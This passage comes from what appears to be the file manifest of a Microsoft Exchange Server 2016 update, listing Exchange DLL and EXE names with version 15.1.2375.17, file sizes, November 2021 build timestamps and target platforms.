3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.1.2375.17| 15,240| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.1.2375.17| 52,616| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.1.2375.17| 18,312| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.1.2375.17| 34,192| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.1.2375.17| 17,288| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.1.2375.17| 18,816| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.1.2375.17| 43,392| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loguploader.dll| 15.1.2375.17| 165,264| 3-Nov-21| 18:45| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.1.2375.17| 54,648| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.1.2375.17| 9,063,800| 3-Nov-21| 21:18| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.1.2375.17| 33,152| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.1.2375.17| 124,304| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.1.2375.17| 82,808| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.1.2375.17| 14,224| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.1.2375.17| 30,072| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.1.2375.17| 661,368| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.1.2375.17| 63,368| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.1.2375.17| 175,480| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.1.2375.17| 2,785,672| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.1.2375.17| 53,112| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.1.2375.17| 151,416| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.1.2375.17| 966,520| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.1.2375.17| 185,232| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.1.2375.17| 31,608| 3-Nov-21| 18:27| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.1.2375.17| 39,800| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.1.2375.17| 105,848| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.1.2375.17| 94,584| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.1.2375.17| 43,384| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.1.2375.17| 18,832| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.1.2375.17| 172,936| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.1.2375.17| 102,264| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.1.2375.17| 98,680| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.1.2375.17| 188,808| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.1.2375.17| 43,400| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.1.2375.14| 447,368| 3-Nov-21| 18:09| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.1.2375.17| 90,000| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.1.2375.17| 107,912| 3-Nov-21| 21:33| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.1.2375.17| 371,088| 3-Nov-21| 20:19| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.1.2375.17| 193,912| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.1.2375.17| 551,288| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.1.2375.17| 16,248| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.1.2375.17| 15,760| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.1.2375.17| 320,888| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.1.2375.14| 17,808| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.1.2375.17| 45,448| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.1.2375.17| 18,312| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.1.2375.17| 12,680| 3-Nov-21| 18:29| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.1.2375.17| 20,880| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.1.2375.17| 415,096| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.1.2375.17| 1,269,624| 3-Nov-21| 18:44| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.1.2375.17| 42,360| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.1.2375.14| 433,544| 3-Nov-21| 18:09| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.1.2375.17| 4,564,872| 3-Nov-21| 22:20| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.1.2375.17| 261,000| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.1.2375.17| 33,680| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.1.2375.17| 94,088| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.management.deployment.dll| 15.1.2375.17| 595,856| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.1.2375.17| 3,561,848| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.1.2375.17| 67,976| 3-Nov-21| 20:47| x86 \nMicrosoft.exchange.management.dll| 15.1.2375.17| #########| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.1.2375.17| 58,744| 3-Nov-21| 20:39| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.1.2375.17| 23,944| 3-Nov-21| 20:38| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.1.2375.17| 101,752| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.management.migration.dll| 15.1.2375.17| 544,144| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.management.mobility.dll| 15.1.2375.17| 305,016| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.1.2375.17| 131,960| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.1.2375.17| 418,704| 3-Nov-21| 20:37| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.1.2375.17| 275,832| 3-Nov-21| 20:39| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.1.2375.17| 70,520| 3-Nov-21| 20:42| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.1.2375.17| 7,878,024| 3-Nov-21| 19:17| x86 \nMicrosoft.exchange.management.recipient.dll| 15.1.2375.17| 1,501,072| 3-Nov-21| 20:36| x86 \nMicrosoft.exchange.management.reportingwebservice.dll| 15.1.2375.17| 145,272| 3-Nov-21| 20:47| x86 \nMicrosoft.exchange.management.reportingwebservice.eventlog.dll| 15.1.2375.17| 13,688| 3-Nov-21| 18:27| x64 \nMicrosoft.exchange.management.snapin.esm.dll| 15.1.2375.17| 71,560| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.1.2375.17| 1,301,392| 3-Nov-21| 20:36| x86 \nMicrosoft.exchange.management.transport.dll| 15.1.2375.17| 1,876,368| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.managementgui.dll| 15.1.2375.17| 5,225,864| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.managementmsg.dll| 15.1.2375.17| 36,216| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.1.2375.17| 117,640| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.1.2375.17| 209,808| 3-Nov-21| 20:37| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.1.2375.17| 79,760| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.1.2375.17| 17,296| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.1.2375.17| 156,024| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.1.2375.17| 65,936| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.1.2375.17| 30,584| 3-Nov-21| 18:21| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.1.2375.17| 58,240| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.1.2375.17| 29,584| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.1.2375.17| 175,480| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.1.2375.17| 28,560| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.1.2375.17| 75,128| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.1.2375.17| 206,224| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.1.2375.17| 440,720| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.1.2375.17| 83,320| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.1.2375.17| 35,216| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.1.2375.17| 53,136| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.1.2375.17| 96,632| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.migration.dll| 15.1.2375.17| 1,109,904| 3-Nov-21| 20:13| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.1.2375.17| 14,736| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.mitigation.service.eventlog.dll| 15.1.2375.14| 13,200| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.mitigation.service.exe| 15.1.2375.17| 81,784| 3-Nov-21| 20:46| x86 \nMicrosoft.exchange.mobiledriver.dll| 15.1.2375.17| 135,568| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.1.2375.17| 5,158,288| 3-Nov-21| 21:26| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.1.2375.17| 19,848| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.1.2375.17| 68,472| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.net.dll| 15.1.2375.17| 5,084,048| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.1.2375.17| 265,600| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.networksettings.dll| 15.1.2375.17| 37,760| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.1.2375.17| 14,200| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.1.2375.17| 549,256| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.1.2375.17| 22,928| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.1.2375.17| 106,376| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.oauth.core.dll| 15.1.2375.17| 291,704| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.1.2375.14| 17,280| 3-Nov-21| 18:09| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.1.2375.17| 277,880| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.odata.dll| 15.1.2375.17| 2,994,056| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.1.2375.17| 89,976| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.1.2375.17| 101,768| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.1.2375.17| 38,280| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.1.2375.17| 45,448| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.1.2375.17| 58,248| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.1.2375.17| 147,320| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.1.2375.17| 26,488| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.1.2375.17| 183,160| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.1.2375.17| 26,512| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.1.2375.17| 38,280| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.1.2375.17| 55,696| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.1.2375.17| 147,344| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.1.2375.17| 191,864| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.1.2375.17| 33,672| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.partitioncache.dll| 15.1.2375.17| 28,048| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.1.2375.17| 32,648| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.1.2375.17| 15,240| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.1.2375.17| 17,288| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.1.2375.17| 17,288| 3-Nov-21| 18:19| Not applicable \nMicrosoft.exchange.pop3.exe| 15.1.2375.17| 106,896| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.1.2375.17| 106,896| 3-Nov-21| 19:47| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.1.2375.17| 24,960| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.1.2375.17| 24,960| 3-Nov-21| 19:47| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.1.2375.17| 42,888| 3-Nov-21| 18:36| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.1.2375.17| 262,032| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.1.2375.17| 262,032| 3-Nov-21| 19:47| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.1.2375.17| 357,768| 3-Nov-21| 18:12| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.1.2375.17| 4,169,592| 3-Nov-21| 20:44| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.1.2375.17| 326,008| 3-Nov-21| 20:45| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.1.2375.17| 41,360| 3-Nov-21| 20:44| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.1.2375.17| 30,584| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.1.2375.17| 134,032| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.1.2375.17| 436,624| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.1.2375.17| 14,216| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.1.2375.17| 224,144| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.1.2375.17| 105,848| 3-Nov-21| 20:34| x86 \nMicrosoft.exchange.pst.dll| 15.1.2375.17| 168,840| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.1.2375.17| 168,840| 3-Nov-21| 18:10| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.1.2375.17| 259,448| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.publicfolders.dll| 15.1.2375.17| 72,072| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.1.2375.17| 215,928| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.1.2375.17| 106,888| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.1.2375.17| 425,336| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.1.2375.17| 70,520| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.query.analysis.dll| 15.1.2375.17| 45,944| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.query.configuration.dll| 15.1.2375.17| 206,728| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.query.core.dll| 15.1.2375.17| 163,216| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.query.ranking.dll| 15.1.2375.17| 342,392| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.1.2375.17| 149,368| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.1.2375.17| 95,096| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.1.2375.17| 127,376| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.relevance.core.dll| 15.1.2375.17| 63,352| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.relevance.data.dll| 15.1.2375.17| 36,752| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.1.2375.17| 17,784| 3-Nov-21| 19:15| x64 \nMicrosoft.exchange.relevance.people.dll| 15.1.2375.17| 9,666,952| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.1.2375.17| #########| 3-Nov-21| 18:44| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.1.2375.17| 36,728| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.1.2375.17| 97,672| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.1.2375.17| 28,536| 3-Nov-21| 18:36| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.1.2375.17| 72,072| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.routing.client.dll| 15.1.2375.17| 15,752| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.1.2375.17| 13,192| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.routing.server.exe| 15.1.2375.17| 58,760| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.rpc.dll| 15.1.2375.17| 1,683,320| 3-Nov-21| 18:36| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.1.2375.17| 209,800| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.1.2375.17| 60,304| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.1.2375.17| 517,496| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.1.2375.17| 160,648| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.1.2375.17| 720,760| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.1.2375.17| 243,080| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.1.2375.17| 20,856| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.1.2375.17| 35,216| 3-Nov-21| 20:36| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.1.2375.17| 42,360| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.1.2375.17| 56,184| 3-Nov-21| 20:33| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.1.2375.14| 27,536| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.rules.common.dll| 15.1.2375.17| 130,448| 3-Nov-21| 18:51| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.1.2375.17| 14,712| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.1.2375.17| 20,360| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.safehtml.dll| 15.1.2375.17| 21,392| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.1.2375.17| 267,640| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.1.2375.17| 110,992| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.1.2375.17| 112,520| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.1.2375.17| 622,456| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.1.2375.17| 162,168| 3-Nov-21| 20:17| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.1.2375.17| 12,152| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.1.2375.17| 19,344| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.search.core.dll| 15.1.2375.17| 209,288| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.1.2375.17| 17,784| 3-Nov-21| 20:19| x86 \nMicrosoft.exchange.search.engine.dll| 15.1.2375.17| 96,648| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.1.2375.17| 16,760| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.search.fast.dll| 15.1.2375.17| 435,080| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.search.files.dll| 15.1.2375.17| 274,320| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.search.flighting.dll| 15.1.2375.17| 24,952| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.search.mdb.dll| 15.1.2375.17| 218,504| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.search.service.exe| 15.1.2375.17| 26,488| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.1.2375.17| 162,176| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.security.dll| 15.1.2375.17| 1,555,344| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.1.2375.17| 19,848| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.1.2375.14| 28,552| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.1.2375.17| 222,608| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.1.2375.17| 1,110,896| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.1.2375.17| 212,368| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.1.2375.17| 113,552| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.1.2375.17| 82,824| 3-Nov-21| 19:15| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.1.2375.17| 80,760| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.1.2375.17| 66,424| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.1.2375.17| 81,296| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.1.2375.17| 207,752| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.1.2375.17| 1,162,128| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.1.2375.17| 504,200| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.1.2375.17| 47,480| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.1.2375.17| 848,272| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.1.2375.17| 1,219,960| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.1.2375.17| 30,600| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.1.2375.17| 120,200| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.1.2375.17| 1,009,040| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.1.2375.17| 110,992| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.1.2375.17| 34,696| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.server.storage.xpress.dll| 15.1.2375.17| 19,344| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.1.2375.17| 14,736| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.servicehost.exe| 15.1.2375.17| 60,792| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.1.2375.17| 50,552| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.1.2375.17| 14,224| 3-Nov-21| 18:29| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.1.2375.14| 14,216| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.services.common.dll| 15.1.2375.17| 74,128| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.services.dll| 15.1.2375.17| 8,477,560| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.1.2375.17| 30,072| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.1.2375.17| 633,720| 3-Nov-21| 21:07| x86 \nMicrosoft.exchange.services.ewsserialization.dll| 15.1.2375.17| 1,651,080| 3-Nov-21| 20:54| x86 \nMicrosoft.exchange.services.json.dll| 15.1.2375.17| 296,312| 3-Nov-21| 20:58| x86 \nMicrosoft.exchange.services.messaging.dll| 15.1.2375.17| 43,408| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.1.2375.17| 232,840| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.services.surface.dll| 15.1.2375.17| 178,576| 3-Nov-21| 20:59| x86 \nMicrosoft.exchange.services.wcf.dll| 15.1.2375.17| 348,544| 3-Nov-21| 20:56| x86 \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.1.2375.17| 56,720| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.1.2375.17| 98,184| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.setup.common.dll| 15.1.2375.17| 298,888| 3-Nov-21| 20:47| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.1.2375.17| 35,728| 